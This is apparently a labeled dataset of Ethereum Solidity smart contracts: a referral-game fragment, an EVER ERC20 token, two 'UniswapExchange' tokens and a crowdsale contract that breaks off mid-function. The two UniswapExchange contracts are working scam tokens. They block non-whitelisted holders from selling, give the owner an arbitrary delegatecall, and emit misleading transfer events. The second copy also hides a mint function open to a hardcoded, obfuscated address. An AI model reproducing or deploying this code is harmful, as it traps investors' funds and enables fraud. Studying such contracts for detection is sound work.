citizen[devTeam3].citizenGameEthRevenue = forDaa.add(citizen[devTeam3].citizenGameEthRevenue);
sender = ref;
ref = getRef(sender);
}
}
function pushGametRefIncomeToken(address _sender, uint256 _amount)
public
payable
onlyCoreContract()
{
_amount = _amount.div(15);
address sender = _sender;
address ref = getRef(sender);
uint256 level;
uint256 money;
uint256 forDaa;
for (level=0; level<10; level++){
forDaa=0;
money = _amount.mul(GAME_LEVEL_REF[level]);
if (citizen[ref].citizenGameTokenRevenue<citizen[ref].citizenGameTokenSpend.div(10)){
if (citizen[ref].citizenGameTokenRevenue+money>citizen[ref].citizenGameTokenSpend.div(10)){
forDaa = citizen[ref].citizenGameTokenRevenue+money-citizen[ref].citizenGameTokenSpend.div(10);
money = money.sub(forDaa);
}
} else {
forDaa = money;
money = 0;
}
DAAContract.payOut(ref,1,money,0);
citizen[ref].citizenGameTokenRevenue=money.add(citizen[ref].citizenGameTokenRevenue);
DAAContract.payOut(devTeam3,1,forDaa,0);
citizen[devTeam3].citizenGameTokenRevenue = forDaa.add(citizen[devTeam3].citizenGameTokenRevenue);
sender = ref;
ref = getRef(sender);
}
}
function pushEarlyIncome() public payable{
uint256 _value = msg.value;
earlyIncomeBalanceEth = earlyIncomeBalanceEth.add(_value);
}
function sortMostSpend(address _citizen) private {
uint256 citizen_spender = getTotalSpend(_citizen);
uint256 i=1;
while (i<21) {
if (mostTotalSpender[i]==0x0||(mostTotalSpender[i]!=0x0&&getTotalSpend(mostTotalSpender[i])<citizen_spender)){
if (mostTotalSpenderId[_citizen]!=0&&mostTotalSpenderId[_citizen]<i){
break;
}
if (mostTotalSpenderId[_citizen]!=0){
mostTotalSpender[mostTotalSpenderId[_citizen]]=0x0;
}
address temp1 = mostTotalSpender[i];
address temp2;
uint256 j=i+1;
while (j<21&&temp1!=0x0){
temp2 = mostTotalSpender[j];
mostTotalSpender[j]=temp1;
mostTotalSpenderId[temp1]=j;
temp1 = temp2;
j++;
}
mostTotalSpender[i]=_citizen;
mostTotalSpenderId[_citizen]=i;
break;
}
i++;
}
}
function addTicketEthSpend(address _citizen, uint256 _value) onlyCoreContract() public {
citizen[_citizen].citizenTicketSpend = citizen[_citizen].citizenTicketSpend.add(_value);
DAAContract.citizenMintToken(_citizen,_value,0);
sortMostSpend(_citizen);
}
function addGameEthSpendWin(address _citizen, uint256 _value, uint256 _valuewin, bool _enough) onlyCoreContract() public {
citizen[_citizen].citizenGameEthSpend = citizen[_citizen].citizenGameEthSpend.add(_value);
CitizenStorageContract.addGameWinIncome(_citizen, _valuewin, _enough);
sortMostSpend(_citizen);
}
function addGameEthSpendLose(address _citizen, uint256 _value) onlyCoreContract() public {
citizen[_citizen].citizenGameEthSpend = citizen[_citizen].citizenGameEthSpend.add(_value);
DAAContract.citizenMintToken(_citizen,_value,-1);
sortMostSpend(_citizen);
}
function addGameTokenSpend(address _citizen, uint256 _value) onlyCoreContract() public {
citizen[_citizen].citizenGameTokenSpend = citizen[_citizen].citizenGameTokenSpend.add(_value);
}
function withdrawEth() public registered() {
address _sender = msg.sender;
uint256 _earlyIncome = TicketContract.getEarlyIncomePull(_sender);
uint256 _devidend = DAAContract.getDividendView(msg.sender);
uint256 _citizenBalanceEth = citizen[_sender].citizenBalanceEth;
uint256 _total = _earlyIncome.add(_devidend).add(_citizenBalanceEth).add(DAAContract.getCitizenBalanceEth(_sender));
require(_total>0,"Balance none");
CitizenStorageContract.pushCitizenWithdrawed(_sender,_total);
DAAContract.getDividendPull(_sender,_citizenBalanceEth+_earlyIncome);
_sender.transfer(_citizenBalanceEth+_earlyIncome);
citizen[_sender].citizenBalanceEthBackup = citizen[_sender].citizenBalanceEthBackup.add(_citizenBalanceEth).add(_earlyIncome).add(_devidend);
citizen[_sender].citizenEarlyIncomeRevenue = citizen[_sender].citizenEarlyIncomeRevenue.add(_earlyIncome);
citizenEthDividend[_sender] = citizenEthDividend[_sender].add(_devidend);
earlyIncomeBalanceEth= earlyIncomeBalanceEth.sub(_earlyIncome);
citizen[_sender].citizenBalanceEth = 0;
}
function addWinIncome(address _citizen, uint256 _value) onlyCoreContract() public {
CitizenStorageContract.addWinIncome(_citizen, _value);
}
function getTotalEth() public registered() view returns(uint256){
uint256 _sum;
address _sender = msg.sender;
_sum = _sum.add(citizen[_sender].citizenBalanceEth);
_sum = _sum.add(citizen[_sender].citizenBalanceEthBackup);
_sum = _sum.add(CitizenStorageContract.citizenWinIncome(_sender));
_sum = _sum.add(TicketContract.getEarlyIncomeView(_sender, false));
_sum = _sum.add(DAAContract.getDividendView(_sender));
return _sum;
}
function getTotalDividend(address _sender) public registered() view returns(uint256){
return citizenEthDividend[_sender].add(DAAContract.getDividendView(_sender));
}
function getTotalEarlyIncome(address _sender) public registered() view returns(uint256){
uint256 _sum;
_sum = citizen[_sender].citizenEarlyIncomeRevenue;
_sum = _sum.add(TicketContract.getEarlyIncomeView(_sender, true));
return _sum;
}
function getTotalSpend(address _sender) public view returns(uint256){
return citizen[_sender].citizenGameEthSpend+citizen[_sender].citizenTicketSpend;
}
function getMemberByLevelToTal(uint256 _level) public view returns(uint256, uint256){
address _sender = msg.sender;
return(citizen[_sender].refTo[_level].length,payOutByLevel[_sender][_level]);
}
function getMemberByLevel(uint256 _level, address _sender, uint256 _id) public view returns(address){
return citizen[_sender].refTo[_level][_id];
}
function citizenPayForRef(address _citizen, address _ref) public view returns(uint256){
return citizen[_ref].payOut[_citizen];
}
} | 1 | 4,510 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract EVER is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function EVER() public {
symbol = "EVER";
name = "E-VERIFY";
decimals = 4;
_totalSupply = 500000000000000;
balances[0x12D95431735D7F80dCb58a80ad6C63Ad8B6e8769] = _totalSupply;
Transfer(address(0), 0x12D95431735D7F80dCb58a80ad6C63Ad8B6e8769, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 5,205 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 363 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,271 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Refund(address investor, uint weiAmount);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function invest(address receiver) inState(State.Funding) stopInEmergency payable public {
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
